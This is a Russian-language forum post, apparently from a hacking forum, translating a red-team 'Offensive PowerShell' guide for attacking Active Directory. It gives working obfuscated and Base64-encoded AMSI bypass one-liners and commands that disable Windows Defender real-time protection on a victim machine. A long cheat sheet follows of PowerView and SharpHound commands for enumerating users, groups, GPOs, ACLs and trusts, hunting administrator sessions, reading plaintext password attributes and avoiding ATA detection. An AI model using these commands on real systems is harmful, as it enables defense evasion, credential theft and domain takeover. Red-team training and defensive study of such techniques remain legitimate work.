Статья Active Directory - Offensive PowerShell

Jolah Milovski

RAM
Пользователь
Регистрация
17.06.2021
Сообщения
119
Реакции
150
Active Directory - Offensive PowerShell

Добро пожаловать к моей второй статье из серии Red Teaming (Offensive PowerShell). Я надеюсь, что все ознакомились с первой статьей этой серии, https://xss.is/threads/66112/ которая объясняет основные принципы и понятия, необходимые для понимания Active Directory. Цель этого руководства - объяснить полные основы перечисления фрагментов кода в Offensive PowerShell и те термины, которые должен знать каждый пентестер/red-teamer, чтобы понимать атаки, проводимые в сети Active Directory. Можите распечатать и прикрепить на стену). В этой статье не будет фрагментов по атакам PowerShell, т.е. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket.. Эти темы будут рассмотрены в следующей статье.

В рамках данного руководства я рассмотрю следующие темы:

1. Введение в PowerShell
2. Обход AMSI и мониторинг в реальном времени
3. Базовое перечисление
4. Перечисление GPO
5. Перечисление ACL
6. Перечисление трастов
7. Перечисление BloodHound

В этой статье я буду использовать PowerView, который основан на Powershell, чтобы показать, как получить информацию из Active Directory. Эта статья была создана с использованием ссылок на другие статьи, которые будут представлены ниже.


Введение в PowerShell
Powershell - это язык сценариев Windows и среда оболочки, созданная с использованием фреймворка .NET.
Это также позволяет Powershell выполнять функции .NET непосредственно из своей оболочки. Большинство команд Powershell, написаны на .NET. В отличие от других языков сценариев и сред оболочки, выходные данные этих команд являются объектами, что делает Powershell в некоторой степени объектно-ориентированным. Это также означает, что запуск команды позволяет выполнять действия над объектом вывода (что делает удобным передачу вывода от одной команды другой). Обычный формат команд представлен с помощью глагола-существительного; например, команда для вывода списка команд называется Get-Command.

Обычно используются следующие глаголы:
  • Start
  • Get
  • Stop
  • Read
  • Write
  • New
  • Out
Использование Get-Help
Get-Help отображает информацию о команде. Чтобы получить справку о конкретной команде, выполните следующее:

Код с оформлением (BB-коды):
Get-Help Command-Name

Использование Get-Command

Get-Command возвращает все команды, установленные на текущем компьютере. Самое замечательное в это команде то, что он позволяет сопоставлять шаблоны, как показано ниже.

Код с оформлением (BB-коды):
Get-Command Verb-*
# OR
Get-Command *-Noun

Для просмотра всех команд для глагола NEW:

Код с оформлением (BB-коды):
Get-Command New-*

Манипулирование объектами

В предыдущем задании мы видели, что выход каждой команды - это ОБЪЕКТ. Если мы хотим действительно манипулировать выводом, нам нужно запомнить несколько моментов:

- вывод одной команды можно передать другой
- для извлечения информации из объекта можно использовать определенные команды

PIPE/Труба/Конвейер/Кому как нравится ( | ) используется для передачи вывода от одной команды к другой. Основное отличие от других командных интерпретаторов заключается в том, что вместо передачи текста или строки команде после PIPE ( | ) powershell передает объект следующей команде. Как и любой объект в объектно-ориентированных системах, объект содержит методы и свойства. Вы можете думать о методах как о функциях, которые можно применить к выводу команды, а о свойствах - как о переменных в выводе команды. Чтобы просмотреть эти сведения, передайте вывод команде Get-Member:

Код с оформлением (BB-коды):
Verb-Noun | Get-Member


Пример запуска этого для просмотра Get-Command:

Код с оформлением (BB-коды):
Get-Command | Get-Member -MemberType Method

Из приведенного примера видно, что вы также можете выбирать между методами и свойствами.

Создание объектов на основе предыдущих команд

Одним из способов манипулирования объектами является извлечение свойств из результатов выполнения команды и создание нового объекта. Это делается с помощью команды Select-Object.
Вот пример перечисления каталогов и простого выбора режима и имени:

1651678883578.png


Вы также можете использовать следующие флаги для выбора конкретной информации:

first - получает первый объект x

last - получает последний объект x

unique - показывает уникальные объекты

skip - пропускает x объектов

Фильтрация объектов

При получении выходных объектов вы можете выбрать объекты, соответствующие определенному значению. Это можно сделать с помощью команды Where-Object для фильтрации на основе значений свойств. Общий формат использования этой команды следующий:

Код с оформлением (BB-коды):
Verb-Noun | Where-Object -Property PropertyName -operator Value
# OR
Verb-Noun | Where-Object {$_.PropertyName -operator Value}


Во второй версии используется оператор $_ для перебора каждого объекта, переданного команде Where-Object.

Powershell довольно чувствителен, поэтому убедитесь, что вы не заключаете команду в кавычки!

Где -operator представляет собой список следующих операторов:

  • - Contains: если какой-либо элемент в значении свойства точно соответствует указанному значению
  • -EQ: если значение свойства совпадает с указанным значением
  • -GT: если значение свойства больше указанного значения
Полный список операторов доступен по этой ссылке.

Вот пример проверки остановленных процессов:

1651687216300.png


Сортировка обьектов

Когда команда выводит большое количество информации, вам может понадобиться отсортировать ее, чтобы извлечь информацию более эффективно. Для этого нужно передать вывод команды в команду Sort-Object.

Формат команды будет следующим:

Код с оформлением (BB-коды):
Verb-Noun | Sort-Object

Вот пример сортировки списка каталогов:

1651687258300.png


Обход AMSI и мониторинга в реальном времени​




Впервые получая доступ к нашей машине-жертве, мы можем загрузить нашу сценарий PowerShell для запуска процесса перечисления. Мы можем заметить, что наши оболочки “падают” или не загружаются, потому что их ловит AV. Даже уклонение от AV само по себе является серьезной темой. Сейчас обьясню почему.

Anti-Malware Scan Interface (AMSI) — это функция безопасности PowerShell. которая позволит любым приложениям или сервисам интегрироваться в продукты для защиты от вредоносных программ. AMSI будет сканировать полезные нагрузки и сценарии перед выполнение внутри среды выполнения. «Windows Antimalware Scan Interface (AMSI) — универсальный стандарт интерфейса, позволяет вашим приложениям и службам интегрироваться с любым антивирусным ПО продукт, который присутствует на машине. AMSI предоставляет улучшенную защиту вашего ПО, ваших конечных пользователей и их данных, приложений и рабочие нагрузки от вредоносных программ».

Дополнительные сведения об AMSI см. в документации по Windows: https://docs.microsoft.com/en-us/windows/win32/amsi/

Ниже приведен пример того, как данные передаются внутри функций безопасности Windows.


1651687298700.png


AMSI будет отправлять различные коды ответов в зависимости от результатов сканирования. Cписок кодов ответов от AMSI представлен ниже.

  • AMSI_RESULT_CLEAN = 0
  • AMSI_RESULT_NOT_DETECTED = 1
  • AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
  • AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
  • AMSI_RESULT_DETECTED = 32768
AMSI полностью интегрирован в следующие компоненты Windows.

  • Контроль учетных записей пользователей или UAC
  • PowerShell
  • Хост сценариев Windows (wscript и cscript)
  • JavaScript и VBScript
  • Макросы Office VBA
АМСИ используется как в System.Management.Automation.dll, так и в самой CLR. Внутри среды CLR предполагается, что Defender уже инструментируется; это означает, что AMSI будет вызываться только при загрузке из памяти. Мы можем посмотреть, как физически выглядят функции безопасности PowerShell и как они написаны с помощью InsecurePowerShell, https://github.com/PowerShell/PowerShell/compare/master…cobbr:master поддерживается Cobbr. InsecurePowerShell — это репозиторий GitHub для PowerShell с удаленными функциями безопасности; это значит, что мы можем посмотреть через сравниваемые коммиты и определить любые функции безопасности.

Код с оформлением (BB-коды):
src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs

Ниже приведен код C#, используемый для инструментария AMSI.

C#:
var scriptExtent = scriptBlockAst.Extent; 
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED) 
{ 
  var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent); 
  throw new ParseException(new[] { parseError }); 
} 
 
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null) 
{
  HasSuspiciousContent = true; 
}

Также можно использовать AMSI в своих продуктах, используя описанные ниже методы.


Обход AMSI

Теперь что мы понимаем основы AMSI и как его обойти, мы можем начать обход AMSI с помощью PowerShell. Существует большое количество способов обхода AMSI. Вот некоторые из них.

Код с оформлением (BB-коды):
# AMSI obfuscation
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Обход мониторинга в реальном времени

Код с оформлением (BB-коды):
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
Powershell Set-MpPreference -DisableIOAVProtection $true


Базовое перечисление

Поскольку мы обошли AMSI и защиту реального времени, мы можем начать с перечисления домена и сопоставления различных сущностей, трастов, отношений и привилегий для целевого домена.

Перечисление PowerView

Получение текущего домена:


Код:
 Get-NetDomain

Получение объекта другого домена:​

Код с оформлением (BB-коды):
 Get-NetDomain -Domain <domain-name>

Получить SID домена для текущего домена:​

Код с оформлением (BB-коды):
 Get-DomainSID

Получение политики домена для текущего домена:
Код с оформлением (BB-коды):
Get-DomainPolicy
(Get-DomainPolicy)."system access"

Получение политики домена для другого домена:
Код с оформлением (BB-коды):
(Get-DomainPolicy -domain <domain-name>)."system access"
(Get-DomainPolicy -domain <domain-name>)."kerberos policy"
(Get-DomainPolicy -domain <domain-name>)."Privilege Rights"
# OR
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
(Get-DomainPolicy).PrivilegeRights #Check your privileges


Обратите внимание на политику kerberos, так как она потребуется при создании Golden Tickets, используя mimikats, потребуется такое же смещение, иначе он будет заблокирован защитниками.

Получить контроллеры домена для текущего домена:

Код с оформлением (BB-коды):
Get-NetDomainController

Получить контроллеры домена для другого домена:

Код с оформлением (BB-коды):
 Get-NetDomainController -Domain <domain-name>

Получить список пользователей в текущем домене:

Код с оформлением (BB-коды):
Get-NetUser
Get-NetUser -Username student1


Получить список всех свойств для пользователей в текущем домене:​

Код с оформлением (BB-коды):
Get-UserProperty
Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount
Get-UserProperty -Properties logoncount
Get-UserProperty -Properties badpwdcount


Если количество входов в систему и количество плохих паролей пользователя стремится к 0, это может быть ложная учетная запись. Если последний пароль пользователя был установлен давно, это может быть ложная учетная запись.

Поиск определенной строки в атрибутах пользователя


Код с оформлением (BB-коды):
 Find-UserField -SearchField Description -SearchTerm "built"


Получить список компьютеров в текущем домене​

Код с оформлением (BB-коды):
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData


Любой администратор компьютера может создать объект компьютера в домене, который не является реальным компьютером/виртуальной машиной, но его тип объекта – компьютер.


Получить все группы в текущем домене​

Код с оформлением (BB-коды):
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Get-NetComputer -Domain


Получить все группы, содержащие слово «admin» в имени группы​

Код с оформлением (BB-коды):
Get-NetGroup *admin*
Get-NetGroup -GroupName *admin*
Get-NetGroup *admin* -FullData
Get-NetGroup -GroupName *admin* -Doamin <domain-name>


Такие группы, как "Enterprise Admins", "Enterprise Key Admins" и т.д. не будут отображаться в вышеприведенных командах, если не указан домен, поскольку они доступны только на контроллерах домена корнях леса.

Получить всех членов группы администраторов домена
Код с оформлением (BB-коды):
Get-NetGroupMember -GroupName "Domain Admins" -Recurse

Обязательно проверьте RID, который является последними несколькими символами SID пользователя, так как имя пользователя может быть другим/измененным, но RID уникален. Например: Это может быть учетная запись администратора с другим/измененным именем пользователя, но если вы проверите RID и он будет "500", то это учетная запись администратора.


Получить членство в группе для пользователя

Код с оформлением (BB-коды):
 Get-NetGroup -UserName "student1"


Список всех локальных групп на машине (требуются права администратора на non-dc машинах )

Код с оформлением (BB-коды):
 Get-NetLocalGroup -ComputerName <servername> -ListGroups


Получите членов всех локальных групп на машине (требуются права администратора на non-dc машинах )

Код с оформлением (BB-коды):
 Get-NetLocalGroup -ComputerName <servername> -Recurse



Получите активно зарегистрированных пользователей на компьютере (требуются права локального администратора)


Код с оформлением (BB-коды):
 Get-NetLoggedon -ComputerName <servername>


Получите локально зарегистрированных пользователей на компьютере (требуется удаленный реестр на цели - запускается по умолчанию в серверной ОС)

Код с оформлением (BB-коды):
Get-LoggedonLocal -ComputerName <servername>

Получить последнего зарегистрированного пользователя на компьютере (требуются права администратора и удаленный реестр на цели)

Код с оформлением (BB-коды):
 Get-LastLoggedon -ComputerName <servername>


Найти общие ресурсы на хостах в текущем домене.

Код с оформлением (BB-коды):
 Invoke-ShareFinder -Verbose



Найти конфиденциальные файлы на компьютерах в домене

Код с оформлением (BB-коды):
 Invoke-FileFinder -Verbose


Получить все файловые серверы домена

Код с оформлением (BB-коды):
Get-NetFileServer


Перечисление объектов групповой политики


Групповая политика позволяет легко и централизованно управлять конфигурацией и изменениями в AD.
Позволяет настроить:
  • Настройки безопасности
  • Параметры политики на основе реестра
  • Настройки групповой политики, такие как параметры запуска/завершения/входа/выхода из системы
  • Установка программы

Перечисление объектов групповой (GPO) политики можно использовать для различных атак.

Перечисление PowerView

Получить список объектов групповой политики в текущем домене.

Код с оформлением (BB-коды):
Get-NetGPO
Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
gpresult /R /V (GroupPolicy Results of current machine)

Получить объекты групповой политики, которые используют группы с ограниченным доступом или groups.xml для интересных пользователей​

Код с оформлением (BB-коды):
 Get-NetGPOGroup

Получить пользователей, которые находятся в локальной группе машины, используя GPO​

Код с оформлением (BB-коды):
 Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local


Получить машины, на которых данный пользователь является членом определенной группы​

Код с оформлением (BB-коды):
Find-GPOLocation -Username student1 -Verbose


Получить OU (organizational units /подразделения организации/ ) в домене​

Код с оформлением (BB-коды):
Get-NetOU -FullData
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}  # Get all computers inside an OU (StudentMachines in this case)


Получите объект групповой политики, примененный к OU. Прочитать имя GPO из атрибута gplink из Get-NetOU​

Код с оформлением (BB-коды):
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module)


Перечисление разрешений для объектов групповой политики, где пользователи с RID > -1000 имеют какие-либо права на изменение/управление.​

Код с оформлением (BB-коды):
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'

Перечисление ACL


Модель управления доступом позволяет контролировать способность процесса получать доступ к объектам и другим ресурсам в активном каталоге:

  • Токены доступа (контекст безопасности процесса - личность и привилегии пользователя)
  • Дескрипторы безопасности (SID владельца, дискреционный ACL (DACL) и системный ACL (SACL))
  • Это представляет собой список записей управления доступом (ACE) - ACE соответствует индивидуальное разрешение или аудит доступа. Кто имеет разрешение и что может сделать на объекте?
  • Два типа:
    • DACL: определяет разрешения, которые доверенные лица (пользователь или группа) имеют для объекта.
    • SACL: регистрирует сообщения аудита об успешном и неудачном завершении доступа к объекту.
  • ACL жизненно важны для архитектуры безопасности AD.

Перечисление PowerView​


Получить ACL, связанные с указанным объектом​

Код с оформлением (BB-коды):
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs


Получите списки управления доступом, связанные с указанным префиксом, которые будут использоваться для поиска​

Код с оформлением (BB-коды):
 Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose


Мы также можем перечислить ACL с помощью модуля ActiveDirectory, но без разрешения GUID.​

Код с оформлением (BB-коды):
(Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access


Получите списки управления доступом, связанные с указанным путем LDAP, которые будут использоваться для поиска.​

Код с оформлением (BB-коды):
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose

Поиск интересных ACE​

Код с оформлением (BB-коды):
 Invoke-ACLScanner -ResolveGUIDs


Получить ACL, связанные с указанным путем​

Код с оформлением (BB-коды):
 Get-PathAcl -Path "\\<computer-name>\sysvol"


Найдите интересные ACE (интересные разрешения «неожиданных объектов» (RID> 1000 и права на изменение) по сравнению с другими объектами​

Код с оформлением (BB-коды):
 Find-InterestingDomainAcl -ResolveGUIDs


Проверьте, относится ли какое-либо из найденных интересных разрешений к имени пользователя/группе​

Код с оформлением (BB-коды):
Find-InterestingDomainAcl -ResolveGUIDs |
?{$_.IdentityReference -match "RDPUsers"}


Получить специальные права для всех администраторов в домене​

Код с оформлением (BB-коды):
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights

Перечисление трастов


  • В среде AD доверие - это отношения между двумя доменами или леса, которые позволяют пользователям одного домена или леса получать доступ к ресурсам в другом домене или лесу.
  • Доверие может быть автоматическим (родитель-потомок, тот же лес и т. д.) или установленным (лес, внешний).
  • Объекты доверенного домена (TDO) представляют доверительные отношения в домене.

Перечисление PowerView​


Получить все доверительные отношения домена (родительские, дочерние и внешние)​


Код с оформлением (BB-коды):
 Get-NetDomainTrust

Перечислить все доверительные отношения всех найденных доменов​

Код с оформлением (BB-коды):
   Get-NetForestDomain | Get-NetDomainTrust


Перечислите также все трaсты​

Код с оформлением (BB-коды):
  Get-DomainTrustMapping



Получить информацию о текущем лесу (без внешнего)​

Код с оформлением (BB-коды):
 Get-ForestGlobalCatalog



Получить информацию о внешнем лесу (если возможно)​

Код с оформлением (BB-коды):
Get-ForestGlobalCatalog -Forest external.domain
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"



Получить доверительные отношения леса (должно быть между двумя корнями, доверие между дочерним элементом и root — это просто внешнее доверие)​

Код с оформлением (BB-коды):
  Get-NetForestTrust



Получить пользователей с привилегиями в других доменах внутри леса​

Код с оформлением (BB-коды):
  Get-DomainForeingUser



Получить группы с привилегиями в других доменах внутри леса​


Код с оформлением (BB-коды):
   Get-DomainForeignGroupMember


Low Hanging Fruit (очень легкая добыча) :)


Проверьте, установлены ли какие-либо пароли пользователей​

Код с оформлением (BB-коды):
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

Спрашивает DC для всех компьютеров и спрашивает каждый компьютер, есть ли у него доступ администратора (немного НЕ секьюрно). Вам необходимо открыть порты RCP и SMB.​

Код с оформлением (BB-коды):
   Find-LocalAdminAccess



(Нужен список компьютеров в домене) Делаем тоже самое как и выше, но пытаясь выполнить действие WMI на каждом компьютере (admin для этого нужны привилегии). Полезно, если порты RCP и SMB закрыты​



Код с оформлением (BB-коды):
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt




Перечислите машины, на которых конкретный пользователь/группа имеет права локального администратора.​

Код с оформлением (BB-коды):
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>


Идет через список всех компьютеров (от DC) и выполняет Get-NetLocalGroup для поиска локальных админов (нужны права суперпользователя на non-dc хосты)​

Код с оформлением (BB-коды):
  Invoke-EnumerateLocalAdmin



Поиск компьютеров с неограниченным делегированием и отображение пользователей​

Код с оформлением (BB-коды):
Find-DomainUserLocation -ComputerUnconstrained -ShowAll



Пользователи-администраторы, которым разрешено делегирование, вошли на серверы, на которых разрешено неограниченное делегирование.​

Код с оформлением (BB-коды):
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation



Получить членов от администраторов домена (по умолчанию) и список компьютеров и проверить если какой-либо из пользователей вошел в систему на любой машине, работающей Get-NetSession/Get-NetLoggedon на каждом хосте. Если -Checkaccess, то он также проверьте наличие доступа LocalAdmin в файле hosts​

Код с оформлением (BB-коды):
  Invoke-UserHunter -CheckAccess



Поиск пользователей «RDPUsers»​

Код с оформлением (BB-коды):
  Invoke-UserHunter -GroupName "RDPUsers"



Он будет искать активных пользователей только на серверах с высоким трафиком (DC, файловые серверы и распределенные файловые серверы)​



Код с оформлением (BB-коды):
 Invoke-UserHunter -Stealth

Перечисление BloodHound​


  • Предоставляет графический интерфейс для сущностей AD и отношений для данных, собранных его приемниками.
  • Использует теорию графов для обеспечения возможности сопоставления кратчайшего пути для интересных вещей, таких как администраторы домена.
  • Источник: https://github.com/BloodHoundAD/BloodHound
  • Есть встроенные запросы для часто используемых действий.
  • Также поддерживает пользовательские запросы Сypher.

Перечисление SharpHound​


Мы можем использовать SharpHound для сбора данных, а затем использовать neo4jа также -bloodhound на нашей локальной машине и загрузите собранные данные.

Предоставить данные BloodHound​


Сгенерированный архив можно загрузить в приложение BloodHound.

Код с оформлением (BB-коды):
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All,LoggedOn


Чтобы избежать таких обнаружений, как ATA​

Код с оформлением (BB-коды):
 Invoke-BloodHound -CollectionMethod All -ExcludeDC



Запустите neo4j и BloodHound UI на машине kali и загрузите файлы zip/json​


Код с оформлением (BB-коды):
0xStarlight@kali$ sudo neo4j console
0xStarlight@kali$ bloodhound

Рекомендации​

  1. Введение в Powershell с: https://tryhackme.com/room/powershell
  2. Краткий обзор AMSI от: https://tryhackme.com/room/hololiv


Перевод статьи https://web.archive.org/web/20220416153636/https://0xstarlight.github.io/posts/Offensive-PowerShell/
 


Напишите ответ...